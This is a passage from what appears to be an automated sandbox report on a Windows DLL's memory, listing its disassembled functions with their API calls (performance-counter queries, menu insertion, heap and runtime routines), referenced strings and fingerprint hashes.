Part of subcall function 6E90838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6E9052C0,?,6E93A014,?,?,?,24448D6E), ref: 6E9083EE

Strings

ios_base::failbit set, xrefs: 6E8F24A5, 6E8F25B1
ios_base::badbit set, xrefs: 6E8F25A7, 6E8F25D2, 6E8F25F3
t, xrefs: 6E8F2570
ios_base::eofbit set, xrefs: 6E8F25B6

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$t
API String ID: 3109751735-4201806346
Opcode ID: a286671f79aa0717894380a466b221f9135a1f52d7a4c48f5a82d8c130a7b900
Instruction ID: 7ca8d9302fe90ea7362ca2fb48dad626a14d44ce773900a910623df90933b45e
Opcode Fuzzy Hash: a286671f79aa0717894380a466b221f9135a1f52d7a4c48f5a82d8c130a7b900
Instruction Fuzzy Hash: EB1105B2910305AFCB50DFD8D811BC6B3DCAF59350F14892AE924DB680F774E9058F91

Uniqueness

Uniqueness Score: -1.00%

Function 6E90AB77, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E90AC38,00000000,?,00000001,00000000,?,6E90ACAF,00000001,FlsFree,6E92BE6C,FlsFree,00000000), ref: 6E90AC07

Strings

api-ms-, xrefs: 6E90ABC7

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: e1989c7e4ca90421c29aba0239ee9f57eb3547fa6a2a08321e0a4925d306dd13
Instruction ID: 7bf0115ccd64a0f0822c221d225b9825bb22c8f00685d6cfc592c348dc66068e
Opcode Fuzzy Hash: e1989c7e4ca90421c29aba0239ee9f57eb3547fa6a2a08321e0a4925d306dd13
Instruction Fuzzy Hash: 1511CA72A99625AFDF528AE88C40B4D33BDAF027B0F550518E915EB284D7F0ED008FD5

Uniqueness

Uniqueness Score: -1.00%

Function 6E900D20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

InsertMenuW.USER32(?,?,00000C00,?,00000000), ref: 6E900D4A
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Reload Configuration)), ref: 6E900D5E
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Edit Configuration)), ref: 6E900D72

Strings

Performance Monitor - (Reload Configuration), xrefs: 6E900D4C
Performance Monitor - (Edit Configuration), xrefs: 6E900D60

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InsertMenu
String ID: Performance Monitor - (Edit Configuration)$Performance Monitor - (Reload Configuration)
API String ID: 1478380399-4081388356
Opcode ID: 8c8269d5a911105c79eb59652eac6f935bb94bdb0b0505917f246b951dad11de
Instruction ID: b4a62dd4f6a28834fcbe7b4c6b9aa8f3d3d712e739787e42a22b8264f82a0f2d
Opcode Fuzzy Hash: 8c8269d5a911105c79eb59652eac6f935bb94bdb0b0505917f246b951dad11de
Instruction Fuzzy Hash: CAF03A3314421D7BEB11DEC59C80FBB7BACEF89620F148416FB14AA18182B5E9219FB4

Uniqueness

Uniqueness Score: -1.00%

Function 6E91DE6C, Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E91DEF0
__alloca_probe_16.LIBCMT ref: 6E91DFB6
__freea.LIBCMT ref: 6E91E022

Part of subcall function 6E91828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

__freea.LIBCMT ref: 6E91E02B
__freea.LIBCMT ref: 6E91E050

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 7c5f81998a1fe5424cb7466d7ded24024ec5bf6137b01edfc8a0a91303ab142d
Instruction ID: 0a0f11e8096ebb42545c54d673ca4ffe8324463bad623647f8050edef683c687
Opcode Fuzzy Hash: 7c5f81998a1fe5424cb7466d7ded24024ec5bf6137b01edfc8a0a91303ab142d
Instruction Fuzzy Hash: C951A0B251820FAFEB158FD48C40EFB36ADDF95655F110929FD14AB240E734DD918EA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E903460, Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

PdhRemoveCounter.PDH(?,6CDDFCA0,?,?,00000000,6E9290E0,000000FF,?,6E90083E,00000000), ref: 6E9034A4
PdhCloseQuery.PDH(?,6CDDFCA0,?,?,00000000,6E9290E0,000000FF,?,6E90083E,00000000), ref: 6E9034BA
PdhOpenQueryW.PDH(00000000,00000000,00000000), ref: 6E9034E4
PdhValidatePathW.PDH(?), ref: 6E903547
PdhAddCounterW.PDH(00000000,?,00000000,?), ref: 6E90356E

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CounterQuery$CloseOpenPathRemoveValidate
String ID:
API String ID: 698537007-0
Opcode ID: 73a3e234b43b6dbe66fb28d5654971466a2259950fc82983561bd46104687e9b
Instruction ID: 5fc52f6a3ea8b615eced61d7c3eba714f710a9bad1efb130935cd2cffd25b8e2
Opcode Fuzzy Hash: 73a3e234b43b6dbe66fb28d5654971466a2259950fc82983561bd46104687e9b
Instruction Fuzzy Hash: DB518D71900659AFDB20CFA4C845FDAB3B8FF54314F4086A9E959AB650D774FA80CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4D10, Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4D46
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4D66
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F4D86
std::_Facet_Register.LIBCPMT ref: 6E8F4E21
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F4E39

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5ef8476f6adad1d60b4f39cf1a473349667ee129de4b1323549e7c11fea556f9
Instruction ID: a7e88e0de8a968acbd58130fd1408f11d5a24bf6f9de2e5568d54ffc98a7e8d2
Opcode Fuzzy Hash: 5ef8476f6adad1d60b4f39cf1a473349667ee129de4b1323549e7c11fea556f9
Instruction Fuzzy Hash: 2841BE71904614CFDB62DF94C590AAEB7B9EF947A8F104A5ED805AB380DB30AD03CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5D10, Relevance: 7.6, APIs: 5, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 6E8F5DBF
GetMessageExtraInfo.USER32(00000031,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5E0F
GetDesktopWindow.USER32 ref: 6E8F5E15
UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6E8F5EA6
UnregisterApplicationRestart.KERNEL32 ref: 6E8F5EC0

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregister$CallbackDesktopDrivesExtraInfoLogicalMessageRecoveryRestartWindow
String ID:
API String ID: 4237200097-0
Opcode ID: 015f40e2eb6b8d2d8ce778b21ce2bab32bb6a21ab1ec3cae58684d61500aa69d
Instruction ID: bca7413f75619c7a92c06d8982626ab3120eecadfcd5fbdddf63ad2876567663
Opcode Fuzzy Hash: 015f40e2eb6b8d2d8ce778b21ce2bab32bb6a21ab1ec3cae58684d61500aa69d
Instruction Fuzzy Hash: 6141D771C29F458ED657EBB4802209EF699AFA72C9B20DF26E412B5026EF6068D38540

Uniqueness

Uniqueness Score: -1.00%

Function 6E905A5C, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E905A6D

Part of subcall function 6E8F2200: std::_Lockit::_Lockit.LIBCPMT ref: 6E8F221D
Part of subcall function 6E8F2200: std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F2239

codecvt.LIBCPMT ref: 6E905AA7
std::_Facet_Register.LIBCPMT ref: 6E905ABE
std::_Lockit::~_Lockit.LIBCPMT ref: 6E905ADE
Concurrency::cancel_current_task.LIBCPMT ref: 6E905AEB

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID:
API String ID: 3595785899-0
Opcode ID: 6e7d45e7cbbc5267d144dc8eff9b15f9c464d93b2672d6da9efdb34c3a538789
Instruction ID: 7ad98febc2ad503f263bd965d8714a8e3899c6b2be2481357757acf8f51d3785
Opcode Fuzzy Hash: 6e7d45e7cbbc5267d144dc8eff9b15f9c464d93b2672d6da9efdb34c3a538789
Instruction Fuzzy Hash: 85010032900219AFCF11DBE4C8406EE77A9AF90728FA0880CD811AB3C0CF74CE068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E9237CE, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E9237E6

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E9237F8
_free.LIBCMT ref: 6E92380A
_free.LIBCMT ref: 6E92381C
_free.LIBCMT ref: 6E92382E

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9f51b1718395335755160c334004570381bfa130c31b41bd4a119b62d0e9abc3
Instruction ID: 74e3c4821674f14e2f59e72352e04ee1cfbb90cfb3c8c11daf492e775af629bb
Opcode Fuzzy Hash: 9f51b1718395335755160c334004570381bfa130c31b41bd4a119b62d0e9abc3
Instruction Fuzzy Hash: AEF04FB151DA0A9B8E65DAA8E599CCA73DEFF91B543504C25F41CD7644CB20F8808E90

Uniqueness

Uniqueness Score: -1.00%

Function 6E9075F0, Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 6E9075FC
GetLastError.KERNEL32(8007000E,?,?,?,00000000), ref: 6E907601
_com_issue_error.COMSUPP ref: 6E907614
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E907622
_com_issue_error.COMSUPP ref: 6E907635

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ErrorLast
String ID:
API String ID: 1321852664-0
Opcode ID: 187bb0a1cb53f100d55b42a28226603f2db7c8bd64523dda4dc7d08ecb628118
Instruction ID: 02fe6388d05ffcb615a536970076f792c0ffe7d93979cfe9d8eab7366835c8a1
Opcode Fuzzy Hash: 187bb0a1cb53f100d55b42a28226603f2db7c8bd64523dda4dc7d08ecb628118
Instruction Fuzzy Hash: 94E0C2F04441569ACA007BF10D087EE304C2F22135FA04F0C7059E91D0EF2CC1028EFA

Uniqueness

Uniqueness Score: -1.00%

Function 6E90ED27, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 498COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6E90F036

Strings

Z, xrefs: 6E90EDE4
:, xrefs: 6E90EDCE
A, xrefs: 6E90EDDD

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z
API String ID: 1302938615-166580712
Opcode ID: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction ID: 420f92c5590fb2ab348998f4856cbdda6c6f7d04e201bbad215814b77a7a049a
Opcode Fuzzy Hash: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction Fuzzy Hash: 07F1EF7851410B9AFF50CBE4D890AE8B3B7AF50718BF8466ED9206B684D730CF898F15

Uniqueness

Uniqueness Score: -1.00%

Function 6E91B82F, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E91B9C9

Strings

*?, xrefs: 6E91B872

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction ID: 6411d69bc0662a2762b6f54def1d6249d96b1898237cec8680ea64f33336f80a
Opcode Fuzzy Hash: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction Fuzzy Hash: 8F611A75D18219DF9B14CFA9C8805EDBBFAEF88314B1485AAD854E7308E735EE418F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2490, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F260F

Part of subcall function 6E90838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6E9052C0,?,6E93A014,?,?,?,24448D6E), ref: 6E9083EE

Strings

ios_base::failbit set, xrefs: 6E8F24A5
ios_base::badbit set, xrefs: 6E8F25A7, 6E8F25D2, 6E8F25F3
t, xrefs: 6E8F2570

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set$t
API String ID: 3109751735-3135341975
Opcode ID: fd0c92add612417f46dde4f15f098c27feedc665388c149f9a7b807d00748bb4
Instruction ID: f6154596c1e863b1e879c31b0669f44dcc11f637e156f13099b8e90098bc4984
Opcode Fuzzy Hash: fd0c92add612417f46dde4f15f098c27feedc665388c149f9a7b807d00748bb4
Instruction Fuzzy Hash: BC41C5B2910209EFCB04CFD8C850BDEB7BCEF49354F14891AE514AB780E775E9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E918C8A, Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6E918D11

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction ID: d3f9ef7f740d1fdd466ed738cebbe8ad4c39a970a0f1a8d5789e1188b646f93d
Opcode Fuzzy Hash: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction Fuzzy Hash: B8B1173191878A9FDB29CFA8C8907EEBBB9EF56340F144969D8449B341D334C942DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E909BE3, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E909CAA
___AdjustPointer.LIBCMT ref: 6E909CCD
___AdjustPointer.LIBCMT ref: 6E909D69

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ae4bcdbe229e749817418416262b2cdd723948ea8485b384af8d757ef22b245e
Instruction ID: 0d3645839875391a5f7c1f1d20e0fd3456c2dd8fd12f00668b240ed3cea1d99c
Opcode Fuzzy Hash: ae4bcdbe229e749817418416262b2cdd723948ea8485b384af8d757ef22b245e
Instruction Fuzzy Hash: 1751F172A44712AFDB568FD5C460BAA77BCEFD1314F90492EE81947294E731E880CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7D80, Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 6E8F7DB1

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: b8f6561f871aa0764127d4ccba5b610b3245790c75cc63b66976213eac5a6c30
Instruction ID: 0b07fc0e9b99ebd3641394345731f8212bed053127e66cec8b41f0feaa0b502d
Opcode Fuzzy Hash: b8f6561f871aa0764127d4ccba5b610b3245790c75cc63b66976213eac5a6c30
Instruction Fuzzy Hash: C631D432A183158BAF08DEAED49157ABBA5EF457B0750827FEC15C72C8EB32D8519680

Uniqueness

Uniqueness Score: -1.00%

Function 6E91B760, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6E917C0A: _free.LIBCMT ref: 6E917C18

Part of subcall function 6E91C80B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6E91E018,?,00000000,00000000), ref: 6E91C8AD

GetLastError.KERNEL32 ref: 6E91B7C8
__dosmaperr.LIBCMT ref: 6E91B7CF
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6E91B80E
__dosmaperr.LIBCMT ref: 6E91B815

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 719f2863103d787062fbaf2d3abca3b55a3cca7ee72511865bbdfddbec3eae15
Instruction ID: 985e4b41c6f4200bc2a431fc5eb6e77d40f0b7abed55c1ff14260ccf92a53924
Opcode Fuzzy Hash: 719f2863103d787062fbaf2d3abca3b55a3cca7ee72511865bbdfddbec3eae15
Instruction Fuzzy Hash: F421A37150C61DEF9B109FE6CC809EAB7BEEF453687014958E41497754E730DD418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91897C, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918981
_free.LIBCMT ref: 6E9189DE
_free.LIBCMT ref: 6E918A14
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918A1F

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2bf0b67cf94ec3c0c948a61daaec3537997ba3a11cc91dc8cc6c539186adb616
Instruction ID: 7ab52b6da3d780a410b75699871e68d52d95d7132e6fd3c999a1c227ccc73e9d
Opcode Fuzzy Hash: 2bf0b67cf94ec3c0c948a61daaec3537997ba3a11cc91dc8cc6c539186adb616
Instruction Fuzzy Hash: EE11A33625CB0E7FDB695AF48C84EDA259DEFD22A87240A34F124A62C4EF61CC026D51

Uniqueness

Uniqueness Score: -1.00%

Function 6E918AD3, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6E914AA1,6E9182CF,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?), ref: 6E918AD8
_free.LIBCMT ref: 6E918B35
_free.LIBCMT ref: 6E918B6B
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E918B76

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d88ccafbd2a1e4361065af473176e2e46b79b81a32ddb434a08f5681f645d1b2
Instruction ID: b495a1648e3dda1866db13cc2a7a7313ceb1e7d237d1f7398c54cd0b2ff866d6
Opcode Fuzzy Hash: d88ccafbd2a1e4361065af473176e2e46b79b81a32ddb434a08f5681f645d1b2
Instruction Fuzzy Hash: 6C11C67629CB0D7BEA2D5AF94C80EDA356DEFD22B87240A34F524A62C0DF61CC016D50

Uniqueness

Uniqueness Score: -1.00%

Function 6E926EEE, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6E916918,00000000,?,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001), ref: 6E926F05
GetLastError.KERNEL32(?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000,00000001,?,6E91EDAE,6E91685B), ref: 6E926F11

Part of subcall function 6E926ED7: CloseHandle.KERNEL32(FFFFFFFE,6E926F21,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000,00000001), ref: 6E926EE7

___initconout.LIBCMT ref: 6E926F21

Part of subcall function 6E926E99: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E926EC8,6E92630A,00000001,?,6E91E85A,00000000,00000000,00000001,00000000), ref: 6E926EAC

WriteConsoleW.KERNEL32(?,?,6E916918,00000000,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000), ref: 6E926F36

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0adde314de8886255eac5c23239f19d9c4f7748409709a286160cd131d7e10b9
Instruction ID: fb845c1ed976dba4215eeb6f4496bc87f1185f87ac7544a1b2aae89d6e7f1615
Opcode Fuzzy Hash: 0adde314de8886255eac5c23239f19d9c4f7748409709a286160cd131d7e10b9
